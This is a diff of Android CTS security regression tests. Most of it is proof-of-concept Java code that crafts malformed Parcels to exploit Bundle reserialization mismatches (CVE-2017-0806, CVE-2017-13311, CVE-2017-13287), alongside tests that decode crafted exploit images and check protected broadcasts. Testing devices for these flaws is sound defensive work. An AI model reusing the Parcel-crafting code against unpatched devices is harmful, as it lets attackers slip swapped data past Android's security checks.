+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
+ parcel.writeString(key); // Key
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("android.service.autofill.SaveRequest");
+
+ // read/writeTypedArrayList
+ parcel.writeInt(2); // Number of items in typed array list
+ parcel.writeInt(1); // Item present flag
+ parcel.writeString(BASE_PARCELABLE);
+ biggerParcelable.writeToParcel(parcel, 0);
+ parcel.writeInt(1); // Item present flag
+ smallerParcelable.writeToParcel(parcel, 0);
+
+ // read/writeBundle
+ int bundleLengthPosition = parcel.dataPosition();
+ parcel.writeInt(0); // Placeholder, will be replaced
+ parcel.writeInt(BUNDLE_MAGIC);
+ int bundleStart = parcel.dataPosition();
+ for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
+ parcel.writeInt(414100 + i); // Padding in inner bundle
+ }
+ parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
+ writeBundleSkippingHeaders(parcel, postReSerialize);
+ int bundleEnd = parcel.dataPosition();
+
+ // Update inner Bundle length
+ parcel.setDataPosition(bundleLengthPosition);
+ parcel.writeInt(bundleEnd - bundleStart);
+ parcel.setDataPosition(bundleEnd);
+
+ // Write original Bundle contents
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Package crafted Parcel into Bundle so it can be used in regular Android APIs
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/62998805
+ */
+ @SecurityTest(minPatchLevel = "2017-10")
+ public void test_android_CVE_2017_0806() throws Exception {
+ Ambiguator ambiguator = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(postReSerialize, random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("android.service.gatekeeper.GateKeeperResponse");
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_NULL);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/73252178
+ */
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void test_android_CVE_2017_13311() throws Exception {
+ Ambiguator ambiguator = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 1);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(3);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.app.procstats.ProcessStats");
+
+ parcel.writeInt(PROCSTATS_MAGIC);
+ parcel.writeInt(PROCSTATS_PARCEL_VERSION);
+ parcel.writeInt(PROCSTATS_STATE_COUNT);
+ parcel.writeInt(PROCSTATS_ADJ_COUNT);
+ parcel.writeInt(PROCSTATS_PSS_COUNT);
+ parcel.writeInt(PROCSTATS_SYS_MEM_USAGE_COUNT);
+ parcel.writeInt(PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE);
+
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeString(null);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(1);
+ parcel.writeInt(1);
+ parcel.writeInt(0);
+
+ for (int i = 0; i < PROCSTATS_ADJ_COUNT; i++) {
+ parcel.writeInt(0);
+ }
+
+ parcel.writeInt(0);
+ parcel.writeInt(1);
+ parcel.writeInt(0);
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(1);
+ parcel.writeInt(VAL_LONGARRAY);
+ parcel.writeString("AAAAA");
+ parcel.writeInt(0);
+
+ parcel.writeInt(VAL_INTEGER);
+ parcel.writeInt(0);
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/71714464
+ */
+ @SecurityTest(minPatchLevel = "2018-04")
public void test_android_CVE_2017_13287() throws Exception {
+ Ambiguator ambiguator = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(postReSerialize, random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_NULL);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ private void testAmbiguator(Ambiguator ambiguator) {
Bundle bundle;
- {
- Bundle verifyMe = new Bundle();
- verifyMe.putString("cmd", "something_safe");
- Bundle useMe = new Bundle();
- useMe.putString("cmd", "replaced_thing");
- Ambiguator a = new Ambiguator() {
- @Override
- public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
- Random random = new Random(1234);
- int minHash = 0;
- for (String s : preReSerialize.keySet()) {
- minHash = Math.min(minHash, s.hashCode());
- }
- for (String s : postReSerialize.keySet()) {
- minHash = Math.min(minHash, s.hashCode());
- }
+ Bundle verifyMe = new Bundle();
+ verifyMe.putString("cmd", "something_safe");
+ Bundle useMe = new Bundle();
+ useMe.putString("cmd", "replaced_thing");
- String key;
- int keyHash;
+ try {
+ bundle = ambiguator.make(verifyMe, useMe);
- do {
- key = randomString(random);
- keyHash = key.hashCode();
- } while (keyHash >= minHash);
+ bundle = reparcel(bundle);
+ String value1 = bundle.getString("cmd");
+ bundle = reparcel(bundle);
+ String value2 = bundle.getString("cmd");
- padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
- padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
-
- String key2;
- int key2Hash;
- do {
- key2 = makeStringToInject(postReSerialize, random);
- key2Hash = key2.hashCode();
- } while (key2Hash >= minHash || key2Hash <= keyHash);
-
-
- Parcel parcel = Parcel.obtain();
-
- parcel.writeInt(preReSerialize.size() + 2);
- parcel.writeString(key);
-
- parcel.writeInt(VAL_PARCELABLE);
- parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
-
- parcel.writeInt(0);
- parcel.writeInt(0);
-
- parcel.writeString(key2);
- parcel.writeInt(VAL_NULL);
-
- writeBundleSkippingHeaders(parcel, preReSerialize);
-
- parcel.setDataPosition(0);
- Bundle bundle = new Bundle();
- parcelledDataField.set(bundle, parcel);
- return bundle;
- }
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- Parcel p = Parcel.obtain();
- p.writeInt(0);
- p.writeInt(0);
-
- Parcel p2 = Parcel.obtain();
- stuffToInject.writeToParcel(p2, 0);
- int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
- for (int i = 0; i < p2Len / 4 + 4; i++) {
- int paddingVal;
- if (i > 3) {
- paddingVal = i;
- } else {
- paddingVal = random.nextInt();
- }
- p.writeInt(paddingVal);
-
- }
-
- p.appendFrom(p2, BUNDLE_SKIP, p2Len);
- p2.recycle();
-
- while (p.dataPosition() % 8 != 0) p.writeInt(0);
- for (int i = 0; i < 2; i++) {
- p.writeInt(0);
- }
-
- int len = p.dataPosition() / 2 - 1;
- p.writeInt(0); p.writeInt(0);
- p.setDataPosition(0);
- p.writeInt(len);
- p.writeInt(len);
- p.setDataPosition(0);
- String result = p.readString();
- p.recycle();
- return result;
- }
- };
- bundle = a.make(verifyMe, useMe);
- }
-
- bundle = reparcel(bundle);
- String value1 = bundle.getString("cmd");
- bundle = reparcel(bundle);
- String value2 = bundle.getString("cmd");
-
- if (!value1.equals(value2)) {
- fail("String " + value1 + "!=" + value2 + " after reparceling.");
+ if (!value1.equals(value2)) {
+ fail("String " + value1 + "!=" + value2 + " after reparceling.");
+ }
+ } catch (Exception e) {
}
}
@@ -159,11 +483,27 @@
static abstract class Ambiguator {
- protected static final int VAL_PARCELABLE = 4;
protected static final int VAL_NULL = -1;
+ protected static final int VAL_INTEGER = 1;
+ protected static final int VAL_BUNDLE = 3;
+ protected static final int VAL_PARCELABLE = 4;
+ protected static final int VAL_OBJECTARRAY = 17;
+ protected static final int VAL_INTARRAY = 18;
+ protected static final int VAL_LONGARRAY = 19;
protected static final int BUNDLE_SKIP = 12;
- protected final Field parcelledDataField;
+ protected static final int PROCSTATS_MAGIC = 0x50535454;
+ protected static final int PROCSTATS_PARCEL_VERSION = 21;
+ protected static final int PROCSTATS_STATE_COUNT = 14;
+ protected static final int PROCSTATS_ADJ_COUNT = 8;
+ protected static final int PROCSTATS_PSS_COUNT = 7;
+ protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
+ protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
+
+ protected static final int BUNDLE_MAGIC = 0x4C444E42;
+ protected static final int INNER_BUNDLE_PADDING = 1;
+
+ protected Field parcelledDataField;
public Ambiguator() throws Exception {
parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
@@ -172,7 +512,44 @@
abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
- abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+ protected String makeStringToInject(Bundle stuffToInject, Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(0);
+ p.writeInt(0);
+
+ Parcel p2 = Parcel.obtain();
+ stuffToInject.writeToParcel(p2, 0);
+ int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+ for (int i = 0; i < p2Len / 4 + 4; i++) {
+ int paddingVal;
+ if (i > 3) {
+ paddingVal = i;
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+
+ }
+
+ p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+ p2.recycle();
+
+ while (p.dataPosition() % 8 != 0) p.writeInt(0);
+ for (int i = 0; i < 2; i++) {
+ p.writeInt(0);
+ }
+
+ int len = p.dataPosition() / 2 - 1;
+ p.writeInt(0); p.writeInt(0);
+ p.setDataPosition(0);
+ p.writeInt(len);
+ p.writeInt(len);
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
Parcel p2 = Parcel.obtain();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
new file mode 100644
index 0000000..27b6021
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.res.AssetManager;
+import android.content.res.XmlResourceParser;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+@SecurityTest
+public class AssetManagerTest extends CtsAndroidTestCase {
+
+ // b/144028297
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void testCloseThenFinalize() throws Exception {
+ final XmlResourceParser[] parser = {null};
+ final AssetManager[] assetManager = {AssetManager.class.newInstance()};
+ parser[0] = assetManager[0].openXmlResourceParser(
+ "res/xml/audio_assets.xml");
+ assetManager[0].close();
+ assetManager[0] = null;
+
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+
+ parser[0] = null;
+
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 3495191..56cff46 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -90,6 +90,7 @@
}
// b/28173666
+ @SecurityTest(minPatchLevel = "2016-07")
public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
testAllEffects("get parameter attempt offload",
new TestEffect() {
@@ -103,6 +104,7 @@
// b/32438594
// b/32624850
// b/32635664
+ @SecurityTest(minPatchLevel = "2017-03")
public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
testAllEffects("get parameter2 attempt offload",
new TestEffect() {
@@ -114,6 +116,7 @@
}
// b/30204301
+ @SecurityTest(minPatchLevel = "2016-10")
public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
testAllEffects("set parameter attempt offload",
new TestEffect() {
@@ -125,6 +128,7 @@
}
// b/37536407
+ @SecurityTest(minPatchLevel = "2017-01")
public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
testAllEffects("equalizer get parameter name",
new TestEffect() {
@@ -351,6 +355,7 @@
private static final int VISUALIZER_PARAM_CAPTURE_SIZE = 0;
// b/31781965
+ @SecurityTest(minPatchLevel = "2017-03")
public void testVisualizerCapture_CVE_2017_0396() throws Exception {
// Capture params
final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/BannedFilesTest.java b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
index 8847a84..46b5ba9 100644
--- a/tests/tests/security/src/android/security/cts/BannedFilesTest.java
+++ b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
@@ -148,6 +148,24 @@
assertNotSetugid("/vendor/bin/tcpdump-arm");
}
+ /**
+ * enforce that the xaac codec has not been included on the device
+ */
+ public void testNoXaac() {
+ String libraries[] = new String[] {
+ "libstagefright_soft_xaacdec.so", "libstagefright_soft_c2xaacdec.so"
+ };
+ String directories[] = new String[] {
+ "/system/lib", "/system/lib64", "/vendor/lib", "/vendor/lib64"
+ };
+ for (String f : libraries) {
+ for (String d : directories) {
+ String fullPath = d + "/" + f;
+ assertFalse(fullPath, new File(fullPath).exists());
+ }
+ }
+ }
+
private static void assertNotSetugid(String file) {
FileUtils.FileStatus fs = new FileUtils.FileStatus();
if (!FileUtils.getFileStatus(file, fs, false)) {
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index f3c2302..bcfb1df 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -22,6 +22,7 @@
import java.io.InputStream;
+import android.platform.test.annotations.SecurityTest;
import android.security.cts.R;
public class BigRleTest extends AndroidTestCase {
@@ -31,6 +32,7 @@
* This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
* we attempted to allocate space for all the encoded data at once, resulting in OOM.
*/
+ @SecurityTest(minPatchLevel = "2017-04")
public void test_android_bug_33251605() {
InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 1fa0b65..ce28a7a 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -33,6 +33,7 @@
* to heap corruption by trying to open a crafted PNG image with incorrect
* npTc chunk.
*/
+ @SecurityTest(minPatchLevel = "2015-01")
public void testNinePatchHeapOverflow() throws Exception {
InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
R.raw.cve_2015_1532));
@@ -40,13 +41,14 @@
}
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-07")
public void testPocCVE_2017_0691() throws Exception {
InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
R.raw.cve_2017_0691));
BitmapFactory.decodeStream(exploitImage);
}
+ @SecurityTest(minPatchLevel = "2017-12")
public void test_b65290323() throws Exception {
InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
R.raw.b65290323));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index 2272dc0..f463855 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -58,6 +58,7 @@
/**
* Verifies that decoding a corrupt ICO does crash.
*/
+ @SecurityTest(minPatchLevel = "2017-09")
public void test_android_bug_38116746() {
FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
@@ -73,6 +74,7 @@
/**
* Verifies that decoding a corrupt BMP does crash.
*/
+ @SecurityTest(minPatchLevel = "2017-08")
public void test_android_bug_37627194() {
FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
try {
@@ -81,4 +83,11 @@
fail("OOM attempting to decode BMP");
}
}
+
+ @SecurityTest
+ public void test_android_bug_156261521() {
+ // Previously decoding this would crash.
+ FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
+ BitmapFactory.decodeFileDescriptor(exploitImage);
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 910e3e1..e7a326fe 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -34,6 +34,7 @@
* OOME is more appropriate.
*/
@Test(expected=OutOfMemoryError.class)
+ @SecurityTest(minPatchLevel = "2018-01")
public void test_33846679() {
// This size is based on the max size possible in a GIF file,
// which might be passed to createBitmap from a Java decoder.
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
new file mode 100644
index 0000000..6a4990f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import org.junit.Test;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+@SecurityTest
+public class BluetoothIntentsTest extends AndroidTestCase {
+ /**
+ * b/35258579
+ */
+ @SecurityTest
+ public void testAcceptIntent() {
+ genericIntentTest("ACCEPT");
+ }
+
+ /**
+ * b/35258579
+ */
+ @SecurityTest
+ public void testDeclineIntent() {
+ genericIntentTest("DECLINE");
+ }
+
+ private static final String prefix = "android.btopp.intent.action.";
+ private void genericIntentTest(String action) throws SecurityException {
+ try {
+ Intent should_be_protected_broadcast = new Intent();
+ should_be_protected_broadcast.setComponent(
+ new ComponentName("com.android.bluetooth",
+ "com.android.bluetooth.opp.BluetoothOppReceiver"));
+ should_be_protected_broadcast.setAction(prefix + action);
+ mContext.sendBroadcast(should_be_protected_broadcast);
+ }
+ catch (SecurityException e) {
+ return;
+ }
+
+ throw new SecurityException("An " + prefix + action +
+ " intent should not be broadcastable except by the system (declare " +
+ " as protected-broadcast in manifest)");
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/BrowserTest.java b/tests/tests/security/src/android/security/cts/BrowserTest.java
index de8763e..becbc5e 100644
--- a/tests/tests/security/src/android/security/cts/BrowserTest.java
+++ b/tests/tests/security/src/android/security/cts/BrowserTest.java
@@ -138,6 +138,7 @@
/**
* See Bug 6212665 for detailed information about this issue.
*/
+ @SecurityTest(minPatchLevel = "2012-01")
public void testBrowserPrivateDataAccess() throws Throwable {
// Yucky workaround to let us launch file:// Uris
StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build());
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 0e92310..3314166 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -32,7 +32,7 @@
* Prior to fixing bug 34778578, decoding this file would crash. Instead, it should fail to
* decode.
*/
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-07")
public void test_android_bug_34778578() {
InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
@@ -45,7 +45,7 @@
* Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
* decode.
*/
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-12")
public void test_android_bug_67381469() {
InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index ae55494..d1baf37 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -48,6 +48,7 @@
private static final int intSize = 4;
//Testing security bug: 32436341
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamCenterFreq() throws Exception {
if (!hasEqualizer()) {
return;
@@ -57,6 +58,7 @@
}
//Testing security bug: 32588352
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamCenterFreq_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -65,6 +67,7 @@
}
//Testing security bug: 32438598
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -73,6 +76,7 @@
}
//Testing security bug: 32584034
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -81,6 +85,7 @@
}
//Testing security bug: 32247948
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamFreqRange() throws Exception {
if (!hasEqualizer()) {
return;
@@ -90,6 +95,7 @@
}
//Testing security bug: 32588756
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamFreqRange_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -99,6 +105,7 @@
}
//Testing security bug: 32448258
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamPresetName() throws Exception {
if (!hasEqualizer()) {
return;
@@ -107,6 +114,7 @@
}
//Testing security bug: 32588016
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_getParamPresetName_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -147,6 +155,7 @@
}
//testing security bug: 32095626
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_setParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -162,6 +171,7 @@
}
//testing security bug: 32585400
+ @SecurityTest(minPatchLevel = "2017-01")
public void testEqualizer_setParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -177,6 +187,7 @@
}
//testing security bug: 32705438
+ @SecurityTest(minPatchLevel = "2017-02")
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -186,6 +197,7 @@
}
//testing security bug: 32703959
+ @SecurityTest(minPatchLevel = "2017-02")
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -195,6 +207,7 @@
}
//testing security bug: 37563371 (short media)
+ @SecurityTest(minPatchLevel = "2017-09")
public void testEqualizer_setParamProperties_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -204,6 +217,7 @@
}
//testing security bug: 37563371 (long media)
+ @SecurityTest(minPatchLevel = "2017-09")
public void testEqualizer_setParamProperties_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -213,7 +227,7 @@
}
//Testing security bug: 63662938
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-10")
public void testDownmix_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -229,7 +243,7 @@
private static final int DOWNMIX_PARAM_TYPE = 0;
//Testing security bug: 63526567
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2017-10")
public void testEnvironmentalReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -249,7 +263,7 @@
}
//Testing security bug: 67647856
- @SecurityTest
+ @SecurityTest(minPatchLevel = "2018-01")
public void testPresetReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index ed6cf5c..07b39de 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -22,7 +22,6 @@
import android.test.AndroidTestCase;
import junit.framework.TestCase;
-import android.content.pm.PackageManager;
import android.content.Context;
import android.util.Log;
import java.io.BufferedReader;
@@ -47,13 +46,7 @@
private boolean isRequired() {
// Optional before MIN_API_LEVEL
- return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL && !isTelevision();
- }
-
- private boolean isTelevision() {
- PackageManager pm = getContext().getPackageManager();
- return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
- || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ return PropertyUtil.getFirstApiLevel() >= MIN_API_LEVEL;
}
public void testEncryption() throws Exception {
